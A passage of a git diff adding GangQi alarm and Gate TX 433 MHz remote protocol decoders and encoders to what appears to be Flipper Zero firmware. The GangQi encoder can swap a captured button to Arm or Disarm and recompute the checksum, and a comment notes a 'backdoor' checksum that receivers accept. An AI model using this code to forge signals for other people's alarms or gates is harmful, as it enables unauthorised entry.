+    .serialize = subghz_protocol_decoder_gangqi_serialize,
+    .deserialize = subghz_protocol_decoder_gangqi_deserialize,
+    .get_string = subghz_protocol_decoder_gangqi_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_gangqi_encoder = {
+    .alloc = subghz_protocol_encoder_gangqi_alloc,
+    .free = subghz_protocol_encoder_gangqi_free,
+
+    .deserialize = subghz_protocol_encoder_gangqi_deserialize,
+    .stop = subghz_protocol_encoder_gangqi_stop,
+    .yield = subghz_protocol_encoder_gangqi_yield,
+};
+
+const SubGhzProtocol subghz_protocol_gangqi = {
+    .name = SUBGHZ_PROTOCOL_GANGQI_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send |
+            SubGhzProtocolFlag_Alarms,
+
+    .decoder = &subghz_protocol_gangqi_decoder,
+    .encoder = &subghz_protocol_gangqi_encoder,
+};
+
+void* subghz_protocol_encoder_gangqi_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderGangQi* instance = malloc(sizeof(SubGhzProtocolEncoderGangQi));
+
+    instance->base.protocol = &subghz_protocol_gangqi;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_gangqi_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderGangQi* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+// Get custom button code
+static uint8_t subghz_protocol_gangqi_get_btn_code(void) {
+    uint8_t custom_btn_id = subghz_custom_btn_get();
+    uint8_t original_btn_code = subghz_custom_btn_get_original();
+    uint8_t btn = original_btn_code;
+
+    // Set custom button
+    if((custom_btn_id == SUBGHZ_CUSTOM_BTN_OK) && (original_btn_code != 0)) {
+        // Restore original button code
+        btn = original_btn_code;
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) {
+        switch(original_btn_code) {
+        case 0xD:
+            btn = 0xE;
+            break;
+        case 0xE:
+            btn = 0xD;
+            break;
+        case 0xB:
+            btn = 0xD;
+            break;
+        case 0x7:
+            btn = 0xD;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_DOWN) {
+        switch(original_btn_code) {
+        case 0xD:
+            btn = 0xB;
+            break;
+        case 0xE:
+            btn = 0xB;
+            break;
+        case 0xB:
+            btn = 0xE;
+            break;
+        case 0x7:
+            btn = 0xE;
+            break;
+
+        default:
+            break;
+        }
+    } else if(custom_btn_id == SUBGHZ_CUSTOM_BTN_LEFT) {
+        switch(original_btn_code) {
+        case 0xD:
+            btn = 0x7;
+            break;
+        case 0xE:
+            btn = 0x7;
+            break;
+        case 0xB:
+            btn = 0x7;
+            break;
+        case 0x7:
+            btn = 0xB;
+            break;
+
+        default:
+            break;
+        }
+    }
+
+    return btn;
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderGangQi instance
+ */
+static void subghz_protocol_encoder_gangqi_get_upload(SubGhzProtocolEncoderGangQi* instance) {
+    furi_assert(instance);
+
+    // Generate new key using custom or default button
+    instance->generic.btn = subghz_protocol_gangqi_get_btn_code();
+
+    // override button if we change it with signal settings button editor
+    if(subghz_block_generic_global_button_override_get(&instance->generic.btn))
+        FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
+
+    uint16_t serial = (uint16_t)((instance->generic.data >> 18) & 0xFFFF);
+    uint8_t const_and_button = (uint8_t)(0xD0 | instance->generic.btn);
+    uint8_t serial_high = (uint8_t)(serial >> 8);
+    uint8_t serial_low = (uint8_t)(serial & 0xFF);
+    uint8_t bytesum = (uint8_t)(0xC8 - serial_high - serial_low - const_and_button);
+
+    instance->generic.data = (instance->generic.data >> 14) << 14 | (instance->generic.btn << 10) |
+                             (bytesum << 2);
+
+    size_t index = 0;
+
+    // Send key and GAP between parcels
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            // Send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_gangqi_const.te_long);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false,
+                    (uint32_t)subghz_protocol_gangqi_const.te_short * 4 +
+                        subghz_protocol_gangqi_const.te_delta);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_gangqi_const.te_short);
+            }
+        } else {
+            // Send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_gangqi_const.te_short);
+            if(i == 1) {
+                //Send gap if bit was last
+                instance->encoder.upload[index++] = level_duration_make(
+                    false,
+                    (uint32_t)subghz_protocol_gangqi_const.te_short * 4 +
+                        subghz_protocol_gangqi_const.te_delta);
+            } else {
+                instance->encoder.upload[index++] =
+                    level_duration_make(false, (uint32_t)subghz_protocol_gangqi_const.te_long);
+            }
+        }
+    }
+
+    instance->encoder.size_upload = index;
+    return;
+}
+
+/** 
+ * Analysis of received data and parsing serial number
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_gangqi_remote_controller(SubGhzBlockGeneric* instance) {
+    instance->btn = (instance->data >> 10) & 0xF;
+    instance->serial = (instance->data & 0xFFFFF0000) >> 16;
+
+    // Save original button for later use
+    if(subghz_custom_btn_get_original() == 0) {
+        subghz_custom_btn_set_original(instance->btn);
+    }
+    subghz_custom_btn_set_max(3);
+
+    // GangQi Decoder
+    // 09.2024 - @xMasterX (MMX) (last update - bytesum calculation at 02.2025)
+    // Thanks @Skorpionm for support!
+    // Thanks @Drone1950 and @mishamyte (who spent 2 weeks on this) for making this work properly
+
+    // Example of correct bytesum calculation
+    // 0xC8 - serial_high - serial_low - constant_and_button
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderGangQi* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_gangqi_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        subghz_protocol_gangqi_remote_controller(&instance->generic);
+        subghz_protocol_encoder_gangqi_get_upload(instance);
+
+        if(!flipper_format_rewind(flipper_format)) {
+            FURI_LOG_E(TAG, "Rewind error");
+            break;
+        }
+        uint8_t key_data[sizeof(uint64_t)] = {0};
+        for(size_t i = 0; i < sizeof(uint64_t); i++) {
+            key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> (i * 8)) & 0xFF;
+        }
+        if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
+            FURI_LOG_E(TAG, "Unable to add Key");
+            break;
+        }
+
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_gangqi_stop(void* context) {
+    SubGhzProtocolEncoderGangQi* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_gangqi_yield(void* context) {
+    SubGhzProtocolEncoderGangQi* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_gangqi_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderGangQi* instance = malloc(sizeof(SubGhzProtocolDecoderGangQi));
+    instance->base.protocol = &subghz_protocol_gangqi;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_gangqi_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_gangqi_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    instance->decoder.parser_step = GangQiDecoderStepReset;
+}
+
+void subghz_protocol_decoder_gangqi_feed(void* context, bool level, volatile uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case GangQiDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long * 2) <
+                        subghz_protocol_gangqi_const.te_delta * 3)) {
+            //Found GAP
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+            instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
+        }
+        break;
+    case GangQiDecoderStepSaveDuration:
+        if(level) {
+            instance->decoder.te_last = duration;
+            instance->decoder.parser_step = GangQiDecoderStepCheckDuration;
+        } else {
+            instance->decoder.parser_step = GangQiDecoderStepReset;
+        }
+        break;
+    case GangQiDecoderStepCheckDuration:
+        if(!level) {
+            // Bit 0 is short and long timing
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_short) <
+                subghz_protocol_gangqi_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long) <
+                subghz_protocol_gangqi_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
+                // Bit 1 is long and short timing
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_long) <
+                 subghz_protocol_gangqi_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_short) <
+                 subghz_protocol_gangqi_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = GangQiDecoderStepSaveDuration;
+            } else if(
+                // End of the key
+                (DURATION_DIFF(duration, subghz_protocol_gangqi_const.te_long * 2) <
+                 subghz_protocol_gangqi_const.te_delta * 3)) {
+                //Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
+                if((DURATION_DIFF(
+                        instance->decoder.te_last, subghz_protocol_gangqi_const.te_short) <
+                    subghz_protocol_gangqi_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                }
+                if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gangqi_const.te_long) <
+                    subghz_protocol_gangqi_const.te_delta)) {
+                    subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                }
+                // If got 34 bits key reading is finished
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_gangqi_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                instance->decoder.parser_step = GangQiDecoderStepReset;
+            } else {
+                instance->decoder.parser_step = GangQiDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = GangQiDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Get button name.
+ * @param btn Button number, 4 bit
+ */
+static const char* subghz_protocol_gangqi_get_button_name(uint8_t btn) {
+    const char* name_btn[16] = {
+        "Unknown",
+        "Exit settings",
+        "Volume setting",
+        "0x3",
+        "Vibro sens. setting",
+        "Settings mode",
+        "Ringtone setting",
+        "Ring", // D
+        "0x8",
+        "0x9",
+        "0xA",
+        "Alarm", // C
+        "0xC",
+        "Arm", // A
+        "Disarm", // B
+        "0xF"};
+    return btn <= 0xf ? name_btn[btn] : name_btn[0];
+}
+
+uint8_t subghz_protocol_decoder_gangqi_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_gangqi_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+    return subghz_block_generic_deserialize_check_count_bit(
+        &instance->generic, flipper_format, subghz_protocol_gangqi_const.min_count_bit_for_found);
+}
+
+void subghz_protocol_decoder_gangqi_get_string(void* context, FuriString* output) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGangQi* instance = context;
+
+    // Parse serial
+    subghz_protocol_gangqi_remote_controller(&instance->generic);
+
+    // Get byte sum
+    uint16_t serial = (uint16_t)((instance->generic.data >> 18) & 0xFFFF);
+    uint8_t const_and_button = (uint8_t)(0xD0 | instance->generic.btn);
+    uint8_t serial_high = (uint8_t)(serial >> 8);
+    uint8_t serial_low = (uint8_t)(serial & 0xFF);
+    // Type 1 is what original remotes use, type 2 is "backdoor" sum that receiver accepts too
+    uint8_t sum_type1 = (uint8_t)(0xC8 - serial_high - serial_low - const_and_button);
+    uint8_t sum_type2 = (uint8_t)(0x02 + serial_high + serial_low + const_and_button);
+
+    // push protocol data to global variable
+    subghz_block_generic_global.btn_is_available = true;
+    subghz_block_generic_global.current_btn = instance->generic.btn;
+    subghz_block_generic_global.btn_length_bit = 4;
+    //
+
+    furi_string_cat_printf(
+        output,
+        "%s %db\r\n"
+        "Key: 0x%X%08lX\r\n"
+        "Serial: 0x%05lX\r\n"
+        "Sum: 0x%02X   Sum2: 0x%02X\r\n"
+        "Btn: 0x%01X - %s\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint8_t)(instance->generic.data >> 32),
+        (uint32_t)(instance->generic.data & 0xFFFFFFFF),
+        instance->generic.serial,
+        sum_type1,
+        sum_type2,
+        instance->generic.btn,
+        subghz_protocol_gangqi_get_button_name(instance->generic.btn));
+}
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/gangqi.h b/lib/subghz_unleashed_vendor/src/subghz/protocols/gangqi.h
new file mode 100644
index 000000000..e90f4e7c3
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/gangqi.h
@@ -0,0 +1,109 @@
+#pragma once
+
+#include "base.h"
+
+#define SUBGHZ_PROTOCOL_GANGQI_NAME "GangQi"
+
+typedef struct SubGhzProtocolDecoderGangQi SubGhzProtocolDecoderGangQi;
+typedef struct SubGhzProtocolEncoderGangQi SubGhzProtocolEncoderGangQi;
+
+extern const SubGhzProtocolDecoder subghz_protocol_gangqi_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_gangqi_encoder;
+extern const SubGhzProtocol subghz_protocol_gangqi;
+
+/**
+ * Allocate SubGhzProtocolEncoderGangQi.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolEncoderGangQi* pointer to a SubGhzProtocolEncoderGangQi instance
+ */
+void* subghz_protocol_encoder_gangqi_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolEncoderGangQi.
+ * @param context Pointer to a SubGhzProtocolEncoderGangQi instance
+ */
+void subghz_protocol_encoder_gangqi_free(void* context);
+
+/**
+ * Deserialize and generating an upload to send.
+ * @param context Pointer to a SubGhzProtocolEncoderGangQi instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_encoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Forced transmission stop.
+ * @param context Pointer to a SubGhzProtocolEncoderGangQi instance
+ */
+void subghz_protocol_encoder_gangqi_stop(void* context);
+
+/**
+ * Getting the level and duration of the upload to be loaded into DMA.
+ * @param context Pointer to a SubGhzProtocolEncoderGangQi instance
+ * @return LevelDuration 
+ */
+LevelDuration subghz_protocol_encoder_gangqi_yield(void* context);
+
+/**
+ * Allocate SubGhzProtocolDecoderGangQi.
+ * @param environment Pointer to a SubGhzEnvironment instance
+ * @return SubGhzProtocolDecoderGangQi* pointer to a SubGhzProtocolDecoderGangQi instance
+ */
+void* subghz_protocol_decoder_gangqi_alloc(SubGhzEnvironment* environment);
+
+/**
+ * Free SubGhzProtocolDecoderGangQi.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ */
+void subghz_protocol_decoder_gangqi_free(void* context);
+
+/**
+ * Reset decoder SubGhzProtocolDecoderGangQi.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ */
+void subghz_protocol_decoder_gangqi_reset(void* context);
+
+/**
+ * Parse a raw sequence of levels and durations received from the air.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @param level Signal level true-high false-low
+ * @param duration Duration of this level in, us
+ */
+void subghz_protocol_decoder_gangqi_feed(void* context, bool level, uint32_t duration);
+
+/**
+ * Getting the hash sum of the last randomly received parcel.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @return hash Hash sum
+ */
+uint8_t subghz_protocol_decoder_gangqi_get_hash_data(void* context);
+
+/**
+ * Serialize data SubGhzProtocolDecoderGangQi.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @param preset The modulation on which the signal was received, SubGhzRadioPreset
+ * @return status
+ */
+SubGhzProtocolStatus subghz_protocol_decoder_gangqi_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+/**
+ * Deserialize data SubGhzProtocolDecoderGangQi.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @param flipper_format Pointer to a FlipperFormat instance
+ * @return status
+ */
+SubGhzProtocolStatus
+    subghz_protocol_decoder_gangqi_deserialize(void* context, FlipperFormat* flipper_format);
+
+/**
+ * Getting a textual representation of the received data.
+ * @param context Pointer to a SubGhzProtocolDecoderGangQi instance
+ * @param output Resulting text
+ */
+void subghz_protocol_decoder_gangqi_get_string(void* context, FuriString* output);
diff --git a/lib/subghz_unleashed_vendor/src/subghz/protocols/gate_tx.c b/lib/subghz_unleashed_vendor/src/subghz/protocols/gate_tx.c
new file mode 100644
index 000000000..83a36be3a
--- /dev/null
+++ b/lib/subghz_unleashed_vendor/src/subghz/protocols/gate_tx.c
@@ -0,0 +1,331 @@
+#include "gate_tx.h"
+
+#include "../blocks/const.h"
+#include "../blocks/decoder.h"
+#include "../blocks/encoder.h"
+#include "../blocks/generic.h"
+#include "../blocks/math.h"
+
+#define TAG "SubGhzProtocolGateTx"
+
+static const SubGhzBlockConst subghz_protocol_gate_tx_const = {
+    .te_short = 350,
+    .te_long = 700,
+    .te_delta = 100,
+    .min_count_bit_for_found = 24,
+};
+
+struct SubGhzProtocolDecoderGateTx {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+};
+
+struct SubGhzProtocolEncoderGateTx {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    GateTXDecoderStepReset = 0,
+    GateTXDecoderStepFoundStartBit,
+    GateTXDecoderStepSaveDuration,
+    GateTXDecoderStepCheckDuration,
+} GateTXDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_gate_tx_decoder = {
+    .alloc = subghz_protocol_decoder_gate_tx_alloc,
+    .free = subghz_protocol_decoder_gate_tx_free,
+
+    .feed = subghz_protocol_decoder_gate_tx_feed,
+    .reset = subghz_protocol_decoder_gate_tx_reset,
+
+    .get_hash_data = subghz_protocol_decoder_gate_tx_get_hash_data,
+    .serialize = subghz_protocol_decoder_gate_tx_serialize,
+    .deserialize = subghz_protocol_decoder_gate_tx_deserialize,
+    .get_string = subghz_protocol_decoder_gate_tx_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_gate_tx_encoder = {
+    .alloc = subghz_protocol_encoder_gate_tx_alloc,
+    .free = subghz_protocol_encoder_gate_tx_free,
+
+    .deserialize = subghz_protocol_encoder_gate_tx_deserialize,
+    .stop = subghz_protocol_encoder_gate_tx_stop,
+    .yield = subghz_protocol_encoder_gate_tx_yield,
+};
+
+const SubGhzProtocol subghz_protocol_gate_tx = {
+    .name = SUBGHZ_PROTOCOL_GATE_TX_NAME,
+    .type = SubGhzProtocolTypeStatic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_gate_tx_decoder,
+    .encoder = &subghz_protocol_gate_tx_encoder,
+};
+
+void* subghz_protocol_encoder_gate_tx_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolEncoderGateTx* instance = malloc(sizeof(SubGhzProtocolEncoderGateTx));
+
+    instance->base.protocol = &subghz_protocol_gate_tx;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    instance->encoder.repeat = 3;
+    instance->encoder.size_upload = 52; //max 24bit*2 + 2 (start, stop)
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+    return instance;
+}
+
+void subghz_protocol_encoder_gate_tx_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolEncoderGateTx* instance = context;
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+/**
+ * Generating an upload from data.
+ * @param instance Pointer to a SubGhzProtocolEncoderGateTx instance
+ * @return true On success
+ */
+static bool subghz_protocol_encoder_gate_tx_get_upload(SubGhzProtocolEncoderGateTx* instance) {
+    furi_assert(instance);
+    size_t index = 0;
+    size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+    //Send header
+    instance->encoder.upload[index++] =
+        level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_short * 49);
+    //Send start bit
+    instance->encoder.upload[index++] =
+        level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_long);
+    //Send key data
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            //send bit 1
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_short);
+        } else {
+            //send bit 0
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_gate_tx_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_gate_tx_const.te_long);
+        }
+    }
+    return true;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_gate_tx_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_assert(context);
+    SubGhzProtocolEncoderGateTx* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+    do {
+        ret = subghz_block_generic_deserialize_check_count_bit(
+            &instance->generic,
+            flipper_format,
+            subghz_protocol_gate_tx_const.min_count_bit_for_found);
+        if(ret != SubGhzProtocolStatusOk) {
+            break;
+        }
+        // Optional value
+        flipper_format_read_uint32(
+            flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
+
+        if(!subghz_protocol_encoder_gate_tx_get_upload(instance)) {
+            ret = SubGhzProtocolStatusErrorEncoderGetUpload;
+            break;
+        }
+        instance->encoder.is_running = true;
+    } while(false);
+
+    return ret;
+}
+
+void subghz_protocol_encoder_gate_tx_stop(void* context) {
+    SubGhzProtocolEncoderGateTx* instance = context;
+    instance->encoder.is_running = false;
+}
+
+LevelDuration subghz_protocol_encoder_gate_tx_yield(void* context) {
+    SubGhzProtocolEncoderGateTx* instance = context;
+
+    if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
+        instance->encoder.is_running = false;
+        return level_duration_reset();
+    }
+
+    LevelDuration ret = instance->encoder.upload[instance->encoder.front];
+
+    if(++instance->encoder.front == instance->encoder.size_upload) {
+        if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
+        instance->encoder.front = 0;
+    }
+
+    return ret;
+}
+
+void* subghz_protocol_decoder_gate_tx_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderGateTx* instance = malloc(sizeof(SubGhzProtocolDecoderGateTx));
+    instance->base.protocol = &subghz_protocol_gate_tx;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    return instance;
+}
+
+void subghz_protocol_decoder_gate_tx_free(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_gate_tx_reset(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    instance->decoder.parser_step = GateTXDecoderStepReset;
+}
+
+void subghz_protocol_decoder_gate_tx_feed(void* context, bool level, uint32_t duration) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case GateTXDecoderStepReset:
+        if((!level) && (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_short * 47) <
+                        subghz_protocol_gate_tx_const.te_delta * 47)) {
+            //Found Preambula
+            instance->decoder.parser_step = GateTXDecoderStepFoundStartBit;
+        }
+        break;
+    case GateTXDecoderStepFoundStartBit:
+        if(level && (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_long) <
+                     subghz_protocol_gate_tx_const.te_delta * 3)) {
+            //Found start bit
+            instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
+            instance->decoder.decode_data = 0;
+            instance->decoder.decode_count_bit = 0;
+        } else {
+            instance->decoder.parser_step = GateTXDecoderStepReset;
+        }
+        break;
+    case GateTXDecoderStepSaveDuration:
+        if(!level) {
+            if(duration >= ((uint32_t)subghz_protocol_gate_tx_const.te_short * 10 +
+                            subghz_protocol_gate_tx_const.te_delta)) {
+                instance->decoder.parser_step = GateTXDecoderStepFoundStartBit;
+                if(instance->decoder.decode_count_bit ==
+                   subghz_protocol_gate_tx_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = GateTXDecoderStepCheckDuration;
+            }
+        }
+        break;
+    case GateTXDecoderStepCheckDuration:
+        if(level) {
+            if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gate_tx_const.te_short) <
+                subghz_protocol_gate_tx_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_long) <
+                subghz_protocol_gate_tx_const.te_delta * 3)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(instance->decoder.te_last, subghz_protocol_gate_tx_const.te_long) <
+                 subghz_protocol_gate_tx_const.te_delta * 3) &&
+                (DURATION_DIFF(duration, subghz_protocol_gate_tx_const.te_short) <
+                 subghz_protocol_gate_tx_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = GateTXDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = GateTXDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = GateTXDecoderStepReset;
+        }
+        break;
+    }
+}
+
+/** 
+ * Analysis of received data
+ * @param instance Pointer to a SubGhzBlockGeneric* instance
+ */
+static void subghz_protocol_gate_tx_check_remote_controller(SubGhzBlockGeneric* instance) {
+    uint32_t code_found_reverse =
+        subghz_protocol_blocks_reverse_key(instance->data, instance->data_count_bit);
+
+    instance->serial = (code_found_reverse & 0xFF) << 12 |
+                       ((code_found_reverse >> 8) & 0xFF) << 4 |
+                       ((code_found_reverse >> 20) & 0x0F);
+    instance->btn = ((code_found_reverse >> 16) & 0x0F);
+}
+
+uint8_t subghz_protocol_decoder_gate_tx_get_hash_data(void* context) {
+    furi_assert(context);
+    SubGhzProtocolDecoderGateTx* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_gate_tx_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_assert(context);
